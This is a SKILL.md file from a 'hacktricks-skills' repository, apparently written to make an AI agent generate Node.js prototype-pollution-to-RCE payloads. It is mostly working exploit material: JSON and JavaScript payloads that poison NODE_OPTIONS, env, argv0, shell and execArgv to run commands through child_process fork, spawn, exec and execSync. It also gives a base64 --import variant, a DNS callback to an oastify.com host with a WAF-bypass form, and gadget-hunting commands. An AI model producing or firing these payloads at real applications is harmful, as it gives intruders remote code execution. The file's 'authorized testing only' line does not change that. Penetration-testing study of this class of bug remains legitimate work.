Hacktricks-skills nodejs-prototype-pollution-rce
Generate and test Node.js prototype pollution to RCE payloads. Use this skill whenever the user mentions prototype pollution, Node.js security testing, child_process exploitation, PP2RCE, or needs to convert prototype pollution into remote code execution. This skill provides payloads for fork, spawn, exec, and other child_process functions, plus techniques for forcing spawn when not present.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce/SKILL.MDNode.js Prototype Pollution to RCE
A skill for generating and testing prototype pollution to remote code execution (PP2RCE) payloads in Node.js applications.
When to Use This Skill
Use this skill when:
- You've identified a prototype pollution vulnerability in a Node.js application
- You need to escalate prototype pollution to RCE
- You're testing Node.js applications for child_process exploitation
- You need payloads for specific child_process functions (fork, spawn, exec, etc.)
- You're working with Node.js versions 18-22 and need version-specific payloads
Quick Start
1. Identify the Sink
First, determine which
child_process function is being called in the vulnerable code:
// Common sinks to look for: const { fork, spawn, exec, execFile, execSync, spawnSync, execFileSync } = require("child_process")
2. Select the Appropriate Payload
Choose a payload based on the sink and Node.js version. See the payload sections below.
3. Test the Payload
Use the
generate-payload.js script to create test payloads:
node scripts/generate-payload.js --sink fork --node-version 18 --output test.json
Payload Categories
Environment Variable Injection (fork)
Best for:
fork() calls, Node.js 18+
// Manual pollution b = {} b.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//", } b.__proto__.NODE_OPTIONS = "--require /proc/self/environ" // Trigger fork("./a_file.js")
JSON payload:
{ "__proto__": { "NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//" } } }
Command Line Injection (cmdline)
Best for: Most child_process functions, works after kEmptyObject fix
// Manual pollution b = {} b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//" b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline" // Trigger fork("./a_file.js")
JSON payload:
{ "__proto__": { "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//" } }
Filesystem-less Attack (Node.js 19+)
Best for: Read-only environments, ESM-only apps, Node.js 19-22
// Base64-encoded payload const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; // Manual pollution b = {} b.__proto__.NODE_OPTIONS = `--import ${payload}`; // Trigger fork("./a_file.js");
JSON payload:
{ "__proto__": { "NODE_OPTIONS": "--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp" } }
DNS Interaction (Out-of-Band Detection)
Best for: Confirming exploitation when file creation isn't visible
{ "__proto__": { "argv0": "node", "shell": "node", "NODE_OPTIONS": "--inspect=id.oastify.com" } }
WAF-bypass variant:
{ "__proto__": { "argv0": "node", "shell": "node", "NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com" } }
Function-Specific Payloads
fork()
All techniques work:
- environ trick: ✅ Working
- cmdline trick: ✅ Working
- execArgv trick: ✅ Unique to fork
// execArgv variant (fork only) b = {} b.__proto__.execPath = "/bin/sh" b.__proto__.argv0 = "/bin/sh" b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
spawn()
Note: Requires
cwd option after kEmptyObject fix (Node.js 18.4.0+)
// With cwd option spawn("something", [], {"cwd": "/tmp"}); // Pollution p = {} p.__proto__.argv0 = "/proc/self/exe" p.__proto__.shell = "/proc/self/exe" p.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//", } p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
exec()
// cmdline trick p = {} p.__proto__.shell = "/proc/self/exe" p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
execFile()
Requirement: Must execute Node.js for NODE_OPTIONS to work
execFile("/usr/bin/node") // Pollution p = {} p.__proto__.shell = "/proc/self/exe" p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
execSync() / spawnSync() / execFileSync()
All support stdin trick:
// stdin trick p = {} p.__proto__.argv0 = "/usr/bin/vim" p.__proto__.shell = "/usr/bin/vim" p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
Forcing Spawn When Not Present
If the vulnerable code doesn't call child_process functions, you need to force a spawn.
Technique 1: Control require Path
Find a
.js file that calls child_process when imported:
find / -name "*.js" -type f -exec grep -l "child_process" {} \\; 2>/dev/null | while read file_path; do grep --with-filename -nE "^[a-zA-Z].*(exec\\(|execFile\\(|fork\\(|spawn\\(|execFileSync\\(|execSync\\(|spawnSync\\()" "$file_path" | grep -v "require(" | grep -v "function " done
Common files:
/path/to/npm/scripts/changelog.js/opt/yarn-v1.22.19/preinstall.jsnode_modules/buffer/bin/test.jsnode_modules/detect-libc/bin/detect-libc.js
Technique 2: Pollute require Resolution
Absolute require (no main in package.json):
{ "__proto__": { "main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//" } }
Relative require:
{ "__proto__": { "exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//" } }
Version Compatibility
| Node.js Version | environ trick | cmdline trick | --import | kEmptyObject fix |
|---|---|---|---|---|
| < 18.4.0 | ✅ | ✅ | ❌ | ❌ |
| 18.4.0 - 18.x | ⚠️ (needs cwd) | ✅ | ❌ | ✅ |
| 19.x - 20.x | ⚠️ (needs cwd) | ✅ | ✅ | ✅ |
| 21.x - 22.x | ⚠️ (needs cwd) | ✅ | ✅ | ✅ |
Notes:
with data-URIs works in Node.js 19+ (confirmed in 22.2.0)--import- kEmptyObject fix (Node.js 18.4.0+) requires
option for spawn/spawnSynccwd - CopyOptions() in Node.js 20+ blocks nested object pollution but not NODE_OPTIONS
Testing Workflow
-
Confirm prototype pollution:
// Test if pollution works console.log(Object.prototype.polluted === "test"); -
Identify the sink: Look for child_process usage
-
Generate payload: Use the script or select from above
-
Test with DNS first: Use OOB detection before file creation
-
Escalate to RCE: Use file creation or command execution
Security Notes
- These techniques are for authorized security testing only
- Node.js 20+ has improved protections but NODE_OPTIONS tricks still work
- The
flag is being tracked for future restrictions (Node Issue #50559)--import - Always verify you have authorization before testing